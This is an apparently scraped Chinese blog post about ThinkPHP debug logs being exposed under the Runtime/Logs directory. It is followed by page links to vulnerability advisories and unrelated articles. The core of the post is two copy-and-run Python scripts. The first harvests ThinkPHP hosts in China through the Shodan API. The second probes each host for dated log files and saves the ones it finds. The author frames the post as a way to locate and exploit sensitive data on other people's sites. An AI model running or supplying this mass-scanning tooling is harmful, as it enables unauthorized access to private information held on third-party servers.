昨天遇到了一个ThinkPHP日志泄露,然后我就写了个脚本利用shodan搜索批量的来找一下漏洞,估计已经被人撸完了,不过还有一些网站有着此漏洞。ip收集和漏洞验证脚本工具我会放在最下面,需要的直接复制运行就行。

漏洞信息:

1、ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
2、ThinkPHP默认安装后,也会在Runtime目录下生成日志

THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log
日志存储结构是 :项目名\Runtime\Logs\Home\年份_月份_日期.log

例如,某个大学的日志泄露 ,里面可能存在着敏感信息,这就需要我们自己寻找和利用

ip收集脚本编写:

import shodan
api = shodan.Shodan('api') # 写你自己shodan的api
def Findip():
print('收集ip开始')
try:
f = open(r'ThinkPHP.txt', 'a+')
results = api.search("thinkphp country:'CN'") #如果修改搜索的内容请注意符号
print("一共找到:%s" % results['total'])
for result in results['matches']:
url = result['ip_str'] + ":" + str(result['port'])
print(url)
f.write("http://" + url)
f.write("\n")
f.close()
print('ip收集完毕')
except shodan.APIError as e:
print("end:%s" % e)
Findip()

漏洞验证:将ThinkPHP.txt 和此py放同一目录

import time
import requests def run():
payload_o = '/App/Runtime/Logs/22_03_29.log'
payload_t = '/Runtime/Logs/Home/22_03_29.log'
print("最后的结果保存在vlun.txt")
for ip in open('ThinkPHP.txt'):
# 把换行利用正则换成空格
ip = ip.replace('\n', '')
ip1 = ip + payload_o
ip2 = ip + payload_t
print("当前ip",ip)
# 容错处理
try:
vlun_o = requests.get(ip1).status_code
vlun_t = requests.get(ip2).status_code
if vlun_o == 200:
print('find it->' + ip1 + '状态码为:' + str(vlun_o))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip1 + '\n')
f.close()
if vlun_t == 200:
print('find it->' + ip2 + '状态码为:' + str(vlun_t))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip2 + '\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
run()

存在200即有可能存在日志泄露

不懂shodan编程的可以看 撒旦API使用指南

ThinkPHP信息泄露的更多相关文章

  1. WordPress Backdoor未授权访问漏洞和信息泄露漏洞

    漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...

  2. Linux kernel 内存泄露本地信息泄露漏洞

    漏洞名称: Linux kernel 内存泄露本地信息泄露漏洞 CNNVD编号: CNNVD-201311-467 发布时间: 2013-12-06 更新时间: 2013-12-06 危害等级:    ...

  3. Linux Kernel ‘/net/socket.c’本地信息泄露漏洞

    漏洞名称: Linux Kernel ‘/net/socket.c’本地信息泄露漏洞 CNNVD编号: CNNVD-201312-037 发布时间: 2013-12-04 更新时间: 2013-12- ...

  4. Linux Kernel ‘mp_get_count()’函数本地信息泄露漏洞

    漏洞名称: Linux Kernel ‘mp_get_count()’函数本地信息泄露漏洞 CNNVD编号: CNNVD-201311-054 发布时间: 2013-11-06 更新时间: 2013- ...

  5. Linux Kernel ‘/bcm/Bcmchar.c’本地信息泄露漏洞

    漏洞名称: Linux Kernel ‘/bcm/Bcmchar.c’本地信息泄露漏洞 CNNVD编号: CNNVD-201311-053 发布时间: 2013-11-06 更新时间: 2013-11 ...

  6. 【转】Android应用开发allowBackup敏感信息泄露的一点反思

    转载:http://blog.csdn.net/yanbober/article/details/46417531 1 背景 其实这篇文章可能有些小题大作,但回过头想想还是很有必要的,有点阴沟里翻船的 ...

  7. PuTTY 信息泄露漏洞

    漏洞名称: PuTTY 信息泄露漏洞 CNNVD编号: CNNVD-201308-380 发布时间: 2013-08-27 更新时间: 2013-08-27 危害等级: 低危   漏洞类型: 信息泄露 ...

  8. Linux kernel ‘key_notify_policy_flush’函数信息泄露漏洞

    漏洞名称: Linux kernel ‘key_notify_policy_flush’函数信息泄露漏洞 CNNVD编号: CNNVD-201307-072 发布时间: 2013-07-05 更新时间 ...

  9. Linux kernel ‘net/key/af_key.c’信息泄露漏洞

    漏洞名称: Linux kernel ‘net/key/af_key.c’信息泄露漏洞 CNNVD编号: CNNVD-201307-071 发布时间: 2013-07-05 更新时间: 2013-07 ...

随机推荐

  1. 判断集合中存在String字符串 或 判断集合中不存在String字符串

    一.使用场景 用于集合中有多个相近的字符,无法使用包含判断 如: 这里如果我想判断以上集合中是否包含"信封件-DE"就会被"信封件-DE2"影响到 毕竟:&qu ...

  2. js技术之获取字符串中某个字符的位置(lastIndexOf()方法 和 indexOf() 方法)

    一.lastIndexOf()方法 1.作用: 方法可返回 一个指定的字符串值 在字符串中最后出现的位置.从左往右查. 2.返回: 一个正整数.或者 -1. 3.语法: stringObject.la ...

  3. 如何在 Microsoft word中插入代码

    一.工具 方法1.打开这个网页PlanetB; 方法2.或者谷歌搜索syntax highlight code in word documents,检索结果的第一个.如下图: PS. 方法1和2打开的 ...

  4. ubuntu vmware kernel module updater

    Ubuntu 19.04 - VMWare内核模块更新程序问问题 4 3我运行了这个命令: apt-cache search linux-headers-$(uname -r)它返回输出 linux- ...

  5. uniapp-npm install 进入版本后 优先运行全局安装,在HBuilder X终端输入 npm install 点击回车

    uniapp-npm  install 进入版本后 优先运行全局安装,在HBuilder X终端输入 npm  install 点击回车

  6. html5中常被忘记的标签,属性

    placeholder placeholder是input中的属性,就是默认输入的text,当用户输入时,text会被清空. 用法 <input type ="text" p ...

  7. Linux 0.11源码阅读笔记-高速缓冲

    高速缓冲 概念 高速缓冲区是内存中的一块内存,在块设备与内核其它程序之间起着一个桥梁作用.内核程序如果需要访问块设备中的数据,都需要经过高速缓冲区来间接的操作. 高速缓冲区结构 高速缓冲区被划分为1k ...

  8. python爬虫---豆瓣Top250电影采集

    代码: import requests from bs4 import BeautifulSoup as bs import time def get_movie(url): headers = { ...

  9. nodejs制作爬虫程序

    在nodejs中,可以通过不断对服务器进行请求,以及本身的fs  =>filesystem 模块和clientRequest模块对网站的资源进行怕取,目前只做到了对图片的趴取!视频文件格式各异, ...

  10. TINY语言采用递归下降分析法编写语法分析程序

    目录 自顶向下分析方法 TINY文法 消左提左.构造first follow 基本思想 python构造源码 运行结果 参考来源:聊聊编译原理(二) - 语法分析 自顶向下分析方法 自顶向下分析方法: ...